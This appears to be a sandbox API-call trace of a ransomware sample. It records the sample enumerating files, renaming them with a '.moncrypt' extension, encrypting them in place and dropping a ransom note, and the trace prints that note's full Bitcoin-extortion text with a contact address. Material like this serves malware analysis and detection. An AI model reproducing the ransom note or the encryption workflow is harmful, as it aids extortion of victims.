[0052.932] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.932] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x1205e [0052.932] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.932] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.941] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.941] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.941] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.941] GlobalUnlock (hMem=0x440004) returned 0 [0052.941] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.941] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.941] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.941] GlobalUnlock (hMem=0x440004) returned 0 [0052.942] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.942] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.942] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.942] GlobalUnlock (hMem=0x44000c) returned 0 [0052.942] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.942] GlobalUnlock (hMem=0x440004) returned 0 [0052.942] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.942] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.942] GlobalUnlock (hMem=0x440004) returned 0 [0052.942] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.942] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.942] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.942] GlobalUnlock (hMem=0x440004) returned 0 [0052.942] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.942] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.942] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.942] SetFilePointer (in: hFile=0x18c, lDistanceToMove=73822, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x1205e [0052.942] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.943] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.943] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d78*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d78*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.954] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.954] CloseHandle (hObject=0x18c) returned 1 [0052.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\ricepapr.elm.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.956] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.956] CloseHandle (hObject=0x18c) returned 1 [0052.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.ELM.moncrypt", dwFileAttributes=0x20) returned 1 [0052.956] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.956] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.956] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.956] GlobalUnlock (hMem=0x440004) returned 0 [0052.956] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.956] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.956] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.956] GlobalUnlock (hMem=0x440004) returned 0 [0052.956] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.957] GlobalUnlock (hMem=0x44000c) returned 0 [0052.957] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.957] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557b88, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e6a420, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0052.957] GetLastError () returned 0x2 [0052.957] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.959] WriteFile (in: hFile=0x18c, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18e9e4, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18e9e4*=0x649, lpOverlapped=0x0) returned 1 [0052.960] CloseHandle (hObject=0x18c) returned 1 [0052.960] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR.INF", cAlternateFileName="")) returned 1 [0052.960] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.960] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.960] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.960] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.960] GlobalUnlock (hMem=0x44000c) returned 0 [0052.960] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.960] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.960] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.960] GlobalUnlock (hMem=0x44000c) returned 0 [0052.961] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.961] GlobalUnlock (hMem=0x440004) returned 0 [0052.961] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.961] CharLowerBuffW (in: lpsz="RICEPAPR.INF", cchLength=0xc | out: lpsz="ricepapr.inf") returned 0xc [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.961] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpUsedDefaultChar=0x0) returned 77 [0052.961] CharLowerBuffW (in: lpsz=".INF", cchLength=0x4 | out: lpsz=".inf") returned 0x4 [0052.961] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".inf", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".infShared\\THEMES14\\RICEPAPR\\RICEPAPR.INF", lpUsedDefaultChar=0x0) returned 4 [0052.962] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.962] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.962] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.962] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.962] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.962] GlobalUnlock (hMem=0x440004) returned 0 [0052.962] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.962] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.962] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.962] GlobalUnlock (hMem=0x440004) returned 0 [0052.962] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.962] GlobalUnlock (hMem=0x44000c) returned 0 [0052.962] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.962] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.962] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.963] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", cchWideChar=77, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 77 [0052.963] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.963] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0052.963] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xcf7b, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.963] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.963] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.963] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.964] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.964] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.moncrypt")) returned 1 [0052.965] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.965] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.965] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xcf7b [0052.965] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.965] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.967] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.967] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.967] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.967] GlobalUnlock (hMem=0x440004) returned 0 [0052.967] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.967] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.967] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.967] GlobalUnlock (hMem=0x440004) returned 0 [0052.968] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.968] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.968] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.968] GlobalUnlock (hMem=0x44000c) returned 0 [0052.968] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.968] GlobalUnlock (hMem=0x440004) returned 0 [0052.968] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.968] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.968] GlobalUnlock (hMem=0x440004) returned 0 [0052.968] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.968] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.968] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.968] GlobalUnlock (hMem=0x440004) returned 0 [0052.968] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.968] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.968] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.969] SetFilePointer (in: hFile=0x18c, lDistanceToMove=53115, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xcf7b [0052.969] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.969] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.969] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d88*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.982] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, 